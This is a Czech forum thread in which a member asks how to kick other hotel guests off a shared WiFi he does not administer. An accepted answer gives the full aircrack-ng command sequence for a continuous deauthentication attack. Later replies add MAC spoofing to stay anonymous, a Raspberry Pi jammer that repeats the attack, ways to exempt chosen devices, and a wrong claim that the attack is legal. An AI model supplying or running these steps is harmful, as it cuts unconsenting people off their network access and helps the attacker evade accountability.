Avatar
Filip Novák
Člen
Avatar
Filip Novák:

Ahoj,
pojedu zase na hotel, kde jsem byl loni, ale na WiFi je tolik lidí, že to teče strašně pomalu.
Mám s sebou Kali Linux na live USB a chci se zeptat, jestli je zde nějaká možnost je od wifiny odpojit.
Prosím nechte si komentáře, že je to špatný apod.

Předem díky lidi

 
Odpovědět 15.10.2015 14:35
Avatar
Filip Novák
Člen
Avatar
Filip Novák:

Kdyžtak mě můžete klidně odkázat na tutoriály v angličtině.

Podstrkávání DNS asi nebude řešení, protože pořád na WiFi budou
Editováno 15.10.2015 14:37
 
Nahoru Odpovědět 15.10.2015 14:36
Avatar
Adam Ježek
Tým ITnetwork
Avatar
Odpovídá na Filip Novák
Adam Ježek:

Odpojit je neni problém, stačí na to 3 příkazy a ani neni třeba bejt moc chytrej. Zkus zagooglit. Až se dostanu domu, tak napíšu jak.

Nahoru Odpovědět 15.10.2015 14:43
Programátor dělá co může. Počítač co chce. | Pokud mi dáš mínus, tak prosim, napiš proč!
Avatar
Filip Novák
Člen
Avatar
Odpovídá na Adam Ježek
Filip Novák:

Ahoj, já jsem googlit zkoušel, ale asi nehledám správně.
Mimochodem já nejsem admin sítě (to jsi snad poznal) a když jsem šel v prohlížeči na adresu routeru, tak tam neměli nastavený defaultní heslo.
Předem díky moc :)

 
Nahoru Odpovědět  -1 15.10.2015 15:06
Avatar
Adam Ježek
Tým ITnetwork
Avatar
Odpovídá na Filip Novák
Adam Ježek:

Heslo nepotřebuješ. Nic nepotřebuješ. Stačí ti jenom počítač s Linuxem a Wi-Fi adaptérem. Nainstaluješ balíček aircrack-ng (v Kali by už měl být nainstalovaný).
Při tomhle ani nemusíš bejt připojenej k routeru, odpojit ostatní lidi aby si měl volno neni hlavní podstata tohohle příkazu.
Nejdřív si vypíšeš síťové karty příkazem

ifconfig

Mezi nimi bude i wlanX, kde X je číslo karty, nejčastěji bejvá wlan0, pokud k notebooku připojíš usb adaptér tak bude jako wlan1.
Teď už musíš jako superuser

sudo -s

Příkazem airmon-ng přepneš kartu

airmon-ng start wlanX

něco to vypíše, ale tebe bude zajímat jenom poslední řádek, něco jako

monitor mode enabled on monX

kde monX je virtuální síťová karta. Vždycky se začíná od nuly, takže pokud od minula žádnou nemáš, tak to bude mon0
Potom si zjistíš MAC routeru, od kterého budeš odpojovat. Nejlépe použít

airodump-ng monX

Vypíše se první řádek s informacemi a dvě tabulky. První je tabulka WiFi vysílačů - zajímá tě poslední sloupček s ESSID (jméno wifi) a první s BSSID (MAC adresa). MAC si označ a přes Ctrl+Shift+C kopíruj, potom přes Ctrl+C airodump vypni, objeví se zase možnost psát příkazy.
A teď začneš odpojovat. Na to je příkaz aireplay-ng.

aireplay-ng -0 0 -a MA:C0:0R:OU:TE:RU -e "ESSID Routeru" monX

Pokud to začne vypisovat hromadu sending deauth to..., tak se povedlo. Až budeš chtít, tak to přes Ctrl+C vypneš. Neni to naprosto dokonalý, neodpojí to všechny najednou a někteří se během toho můžou na chvilku připojit, pak je to zase odpojí (možná). Každopádně mě se daří během odpojování ostatních zůstávat připojenej.
Potom zase vypneš monX

airmon-ng stop monX

Při dalším pokusu už to bude kratší, stačí si to pamatovat

airmon-ng start wlanX
aireplay-ng -0 0 -a MAC -e "ESSID" monX
airmon-ng stop monX
Akceptované řešení
+20 Zkušeností
+1 bodů
Řešení problému
Nahoru Odpovědět  +1 15.10.2015 18:42
Programátor dělá co může. Počítač co chce. | Pokud mi dáš mínus, tak prosim, napiš proč!
Avatar
Odpovídá na Adam Ježek
Michal Žůrek (misaz):

jak se proti tomu dá bránit? Windows alternativa? Je to anonymní?

Nahoru Odpovědět  +3 15.10.2015 20:14
Nesnáším {}, proto se jim vyhýbám.
Avatar
patrik.valkovic
Šéfredaktor
Avatar
Odpovídá na Michal Žůrek (misaz)
patrik.valkovic:

Teoreticky je to anonymní, protože v rámci Kali jde i fingovat MAC adresa. Klidně můžeš posílat deauth token z 00:00:00:00:00 adresy.
Myslím, že ve Windows to jde taky, v rámci Cygwinu.

Nahoru Odpovědět  +1 15.10.2015 20:23
Nikdy neumíme dost na to, abychom se nemohli něco nového naučit.
Avatar
Adam Ježek
Tým ITnetwork
Avatar
Odpovídá na Michal Žůrek (misaz)
Adam Ježek:

Pokud vim, tak bránit se tomu nedá. Už si to moc nepamatuju, ale myslí, že počítač se tváří jako odpojující se zařízení a router nepozná rozdíl, tak ho odpojí.
Čistě teoreticky, a jenom pokud se nepletu, by se tomu dalo bránit pokud upravíš celej WiFi protokol tak, aby neexistovalo nic jako odpojení... :D

Nahoru Odpovědět  +1 15.10.2015 20:53
Programátor dělá co může. Počítač co chce. | Pokud mi dáš mínus, tak prosim, napiš proč!
Avatar
Adam Ježek
Tým ITnetwork
Avatar
Odpovídá na patrik.valkovic
Adam Ježek:

Změna MAC neni jen v rámci Kali, teoreticky to jde všude.

Nahoru Odpovědět  +2 15.10.2015 20:53
Programátor dělá co může. Počítač co chce. | Pokud mi dáš mínus, tak prosim, napiš proč!
Avatar
Michal Žůrek (misaz):

pak lze, ale na tom principu postavit jednoduchou rušičku Wi-Fi. Prostě nějaké destička s linuxem bude v cyklu pravidelně volat tady toto co odpojí všechny klienty. A když se tomu nedá bránit....

Nahoru Odpovědět 15.10.2015 21:21
Nesnáším {}, proto se jim vyhýbám.
Avatar
Odpovídá na Michal Žůrek (misaz)
Josef Kuchař (Pepa489):

Něco podobného jsem měl postavené na raspberry a fungovalo to v pohodě ;) :D A bránit se tomu nedá :D

Nahoru Odpovědět 15.10.2015 21:29
2x piš, jednou debuguj
Avatar
Odpovídá na Josef Kuchař (Pepa489)
Michal Žůrek (misaz):

no právě, to bylo první co mě napadlo.

Nahoru Odpovědět  +1 15.10.2015 21:35
Nesnáším {}, proto se jim vyhýbám.
Avatar
Adam Ježek
Tým ITnetwork
Avatar
Odpovídá na Michal Žůrek (misaz)
Adam Ježek:

A podle mě to už i existuje. Navíc je to (myslím) legální rušička, vpodstatě nevysílá žádný signál který by blokoval jiný, jen se odpojuje.

Nahoru Odpovědět 15.10.2015 21:41
Programátor dělá co může. Počítač co chce. | Pokud mi dáš mínus, tak prosim, napiš proč!
Avatar
Ondrca
Redaktor
Avatar
Odpovídá na Adam Ježek
Ondrca:

Dají se do toho přidat výjimky IP adres, na které DeAuth nebude působit?

Nahoru Odpovědět 15.10.2015 22:38
Zase jsem o něco chytřejší
Avatar
Adam Ježek
Tým ITnetwork
Avatar
Odpovídá na Ondrca
Adam Ježek:

Ne. Maximálně zjistit MAC zarizeni, ktere neodpojovat a pak spustit nekolik prikazu, kazdej na jedno pripojeny zarizeni s dalsim parametrem, jejich MAC (ted nevim jakej to je parametr, ale myslim ze b nebo h, kdyz das aireplay-ng --help, tak ti to rekne kterej je co). Jejich seznam je ta druha tabulka v Airodumpu, prvni MAC je zarizeni, druha pripojenej router

Nahoru Odpovědět  +1 15.10.2015 22:49
Programátor dělá co může. Počítač co chce. | Pokud mi dáš mínus, tak prosim, napiš proč!
Avatar
Adam Ježek
Tým ITnetwork
Avatar
Odpovídá na Ondrca
Adam Ježek:

Ne. Maximálně zjistit MAC zarizeni, ktere neodpojovat a pak spustit nekolik prikazu, kazdej na jedno pripojeny zarizeni s dalsim parametrem, jejich MAC (ted nevim jakej to je parametr, ale myslim ze b nebo h, kdyz das aireplay-ng --help, tak ti to rekne kterej je co). Jejich seznam je ta druha tabulka v Airodumpu, prvni MAC je zarizeni, druha pripojenej router

Nahoru Odpovědět  +1 15.10.2015 22:49
Programátor dělá co může. Počítač co chce. | Pokud mi dáš mínus, tak prosim, napiš proč!
Avatar
Odpovídá na Adam Ježek
Josef Kuchař (Pepa489):

Jj na to stačí jednoduchý python scrypt, který bude příjmat blacklist/whi­telist, bssid, tvojí mac a a volat aireplay ng příkazy ;)

Nahoru Odpovědět 16.10.2015 13:19
2x piš, jednou debuguj
Avatar
Adam Ježek
Tým ITnetwork
Avatar
Odpovídá na Josef Kuchař (Pepa489)
Adam Ježek:

Říkal jsem že si to už moc nepamatuju, aireplay-ng má asi 6 paramterů brající MAC, které jsou každý pro jiný případ. Napsat jednoduchý skript není problém, několik věcí už mám takhle připravených, proto to taky tolik zapomínam :D

Nahoru Odpovědět 16.10.2015 14:28
Programátor dělá co může. Počítač co chce. | Pokud mi dáš mínus, tak prosim, napiš proč!
Avatar
Odpovídá na Adam Ježek
Ondřej Langr (andysekcze):

Kde ses to naučil? Materiály jsem našel jen v knize Black Hat Python, jenže mě to nebaví z důvodů že to není C/C++ nebo podobně, python se mi učit nechce, nelíbí se mi.

Nahoru Odpovědět 19.10.2015 23:18
I have a charger. I have Note 7. Umh I haven't Note7.
Avatar
Adam Ježek
Tým ITnetwork
Avatar
Odpovídá na Ondřej Langr (andysekcze)
Adam Ježek:

Nevim, prostě sem se to někde naučil :D A python je pěkný jazyk. :)

Nahoru Odpovědět  +1 19.10.2015 23:40
Programátor dělá co může. Počítač co chce. | Pokud mi dáš mínus, tak prosim, napiš proč!
Avatar
Odpovídá na Adam Ježek
Ondřej Langr (andysekcze):

Jestli se python někomu líbí, ať si v něm programuje ja to nezakazuju spíš naopak. Ale mě se nelíbí ;-)

Nahoru Odpovědět 20.10.2015 7:35
I have a charger. I have Note 7. Umh I haven't Note7.
Avatar
Petr Stastny
Redaktor
Avatar
Odpovídá na Adam Ježek
Petr Stastny:

A nevěděl bys o nějaké alternativě pro C#? Zní to zajímavě a užitečně :-)

 
Nahoru Odpovědět 28. května 21:55
Děláme co je v našich silách, aby byly zdejší diskuze co nejkvalitnější. Proto do nich také mohou přispívat pouze registrovaní členové. Pro zapojení do diskuze se přihlas. Pokud ještě nemáš účet, zaregistruj se, je to zdarma.

Zobrazeno 24 zpráv z 24.